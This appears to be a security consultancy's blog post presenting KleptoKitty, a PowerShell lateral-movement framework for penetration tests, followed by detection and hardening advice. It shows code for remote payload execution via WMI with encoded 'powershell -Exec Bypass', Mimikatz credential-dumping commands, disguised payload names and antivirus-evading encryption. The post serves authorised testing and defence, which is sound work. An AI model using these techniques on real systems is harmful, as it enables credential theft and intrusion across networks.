KleptoKitty - Deploying Payloads and Collecting Credentials

KleptoKitty

Deploying Payloads and Collecting Credentials

Michael Schneider
by Michael Schneider
time to read: 8 minutes

Keypoints

This is what our KleptoKitty can do for you

  • KleptoKitty is a lateral movement framework
  • The goal is the automated dumping of credentials
  • KleptoKitty controls the delivery and remote execution of a payload, and collects credentials
  • Various payloads are supported, including Mimikatz
  • Lateral movement attacks can be detected and mitigated through hardening measures such as client seperation, PowerShell logging, AMSI, ASR and log analysis

After attackers have compromised a system and got privileged access, the analysis of the system begins. They check which remote access services are used and which security controls are applied. Based on this information, attackers develop a customized payload and identify interesting targets in the network. Thanks to a detailed preparation, an attack on other targets takes only a few minutes and can be conducted automatically. For our services like Penetration Tests or Adversary Simulations we rely among others on the Lateral Movement Framework KleptoKitty.

KleptoKitty, the twin sister of HardeningKitty is a PowerShell based framework for lateral movement attacks (MITRE ATT&CK TA0008) in a Windows infrastructure. The development started in October 2019 after inspiration of the cypherpunk and hacker Tinker and the first version was a simple PowerShell script. The capabilities of the script were step-by-step expanded. KleptoKitty copies payloads to the target system, execute them there, then credentials are extracted, and the payload is removed afterwards. Another goal in developing the framework is to be able to easily adapt new attack techniques and integrate them as new payloads.

Payloads include invoke-Mimikatz_ from Empire by BC Security, Mimikatz by Benjamin Delpy and PPLKiller by Red Cursor. Since we benefit from excellent work from the IT security community, we provide KleptoKitty on our GitHub repository under MIT license.

Standard Windows components are used for file transfer and remote command execution. Most functions are controlled by PowerShell (MITRE ATT&CK T1059-001). By default, files are copied to the target system via SMB/Admin shares (MITRE ATT&CK T1021-002). For remote execution of commands, Windows Management Instrumentation (WMI) (MITRE ATT&CK T1047), PsExec (MITRE ATT&CK T1569-002) or Windows Remote Management (WinRM) (MITRE ATT&CK T1021-006) can be used. The goal is to get local credentials (SAM) (MITRE ATT&CK T1003-002) and credentials of active accounts in Windows LSA memory (MITRE ATT&CK T1003-001).

“Hello World” with KleptoKitty

The payload Demo is a good example to explain the functionality of KleptoKitty. The payload is copied to the target and executed there. The payload leaves a log entry in the newly created file under C:\Windows\kleptokitty.log:

$ProtocolPath = "C:\Windows\kleptokitty.log"
$Time = Get-Date -Format G
$Message = "$Time - KleptoKitty was here."
Add-Content -Path $ProtocolPath -Value $Message

For the payload Demo, only a file needs to be copied and executed on target. It is not necessary to extract a log file. The name of the payload is generated randomly at runtime for each target system. It is intended to give a harmless impression by using names of Windows system files. In the first step, the payload is copied. If this fails, further execution will be stopped. The payload is then executed and afterwards deleted from the system:

# Copy Payload
Write-ProtocolEntry -Text "Copy payload $TargetPayloadName to $Hostname" -LogLevel "Info"
$ResultCopyPayload = Copy-Payload -Source $PayloadPathCredentialAccess -Destination $TargetPayloadPath
If (-not($ResultCopyPayload)) { Continue }

# Execute Payload
Write-ProtocolEntry -Text "Execute payload on $Hostname" -LogLevel "Info"
$PayloadCommandCredentialAccess = "$TargetPayloadLocalPath"
$ResultExecutePayload = Execute-Payload -PayloadCommand $PayloadCommandCredentialAccess
If ($ResultExecutePayload) {
    Write-ProtocolEntry -Text "Payload $PayloadCredentialAccess executed." -LogLevel "Success"
}

# House Cleaning
Write-ProtocolEntry -Text "Delete payload on $Hostname" -LogLevel "Info"
Delete-File -File $TargetPayloadPath

The remote command execution is done using WMI. A new process is created and powershell.exe is started. Optionally, the arguments of the payload can be encoded with Base64 and thus disguised. However, if PowerShell Script Block Logging is enabled, the execution call is stored decoded in the event log. Additionally, the use of Base64 encoding might be an indicator for a malicious action. The use of this obfuscation is optional and can be controlled when the function is called.

Code $PayloadCommandEncoded = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($PayloadCommand))
$ArgumentList = "powershell.exe -Exec Bypass -Enc $PayloadCommandEncoded"

try {
    $WmiExec = Invoke-WmiMethod -Class "win32_process" -Name "create" -ArgumentList $ArgumentList -ComputerName $Hostname -Credential $AdminCredential -ErrorAction Stop
} catch {
    $ErrorReason = $_.Exception.Message
    Write-ProtocolEntry -Text "WMI connection to $Hostname failed. Reason: $ErrorReason" -LogLevel "Error"
    Write-ProtocolEntry -Text "$Hostname done" -LogLevel "Error"
    $ReturnCode = $false 
}

Once the payload has been started on the target system, the process can only be monitored indirectly. Therefore, if a log file is written and should be copied back, it is worth waiting a while before taking further steps.

Structure of a payload

The following example is based on a payload with invoke-Mimikatz_. The Invoke-Mimikatz function itself is copied to the payload. This is followed by the definition of a log file for the Mimikatz log file. The name of the log file must be known to KleptoKitty, otherwise the log file cannot be extracted. Then the Mimikatz statements to be executed are defined. In the following example the credentials of active users on the system are dumped from memory:

Function FormerlyKnownAsMimikatz {
    # <add the script here>
}

# Log
$TargetBasePath = "Windows"
$TargetLogName = "de-ch.log"
$TargetLogLocalPath = "C:\$TargetBasePath\$TargetLogName"

# Run Payload
FormerlyKnownAsMimikatz -Command """log $TargetLogLocalPath"" privilege::debug sekurlsa::logonpasswords"

The payload itself can also be encoded with Base64 or encrypted with Rijndael. For the encryption, a script based on an example implementation by Kae Travis is used. The encoding or encryption disguises the payload, so that it can escape detection by a virus scanner. However, the decoding/decryption process is done at runtime. Virus scanners with support for Microsoft AMSI can therefore scan the unprotected version of the payload.

Detection and mitigation

Various controls can be used to detect and prevent lateral movement attacks. A very efficient measure is to prevent client-to-client communication by using the Windows Firewall or another host firewall. In particular, services such as WMI, SMB and WinRM should not be accessible at all or only for specifically defined systems. Chad Duffey has written a blog article on this subject to restrict SMB lateral movement attacks.

We presented measures for monitoring activities with PowerShell in the article PowerShell Monitoring. By enabling PowerShell Script Block Logging, Base64-encoded payloads can be decoded and analysed. The article also contains a list of keywords that can be used to filter and investigate PowerShell logs. It is also recommended that you use an anti-virus solution that supports the Microsoft Antimalware Scan Interfaces (AMSI), since this enables to scan file less attacks with a virus scanner.

With the implementation of the Attack Surface Reduction (ASR) rule set, processes that are spawned with PsExec or WMI can be blocked or at least audited. The article Monitoring Mimikatz explains how Mimikatz can be detected by analysing event logs and using Sysmon. In addition, hardening measures for Windows Local Security Authority (LSA) should be implemented.

What’s next?

The development of KleptoKitty will continue, not all desired features have been implemented yet. Among other things, it is planned to offer payload distribution via HTTP or SMB shares. In addition, we also try to implement new attack techniques as soon as possible. We are looking forward to feedback, suggestions for improvement, war stories how KleptoKitty was successfully used and also pull requests are welcome.

About the Author

Michael Schneider

Michael Schneider has been in IT since 2000. Since 2010 he is focused on information security. He is an expert at penetration testing, hardening and the detection of vulnerabilities in operating systems. He is well-known for a variety of tools written in PowerShell to find, exploit, and mitigate weaknesses. (ORCID 0000-0003-0772-9761)

Links

You want to test the security of your firewall?

Our experts will get in contact with you!

×
Reporting and Documenting

Reporting and Documenting

Michael Schneider

Introduction of CVSS v4.0

Introduction of CVSS v4.0

Michael Schneider

Rogue Device

Rogue Device

Michael Schneider

Windows LAPS

Windows LAPS

Michael Schneider

You want more?

Further articles available here

You need support in such a project?

Our experts will get in contact with you!

You want more?

Further articles available here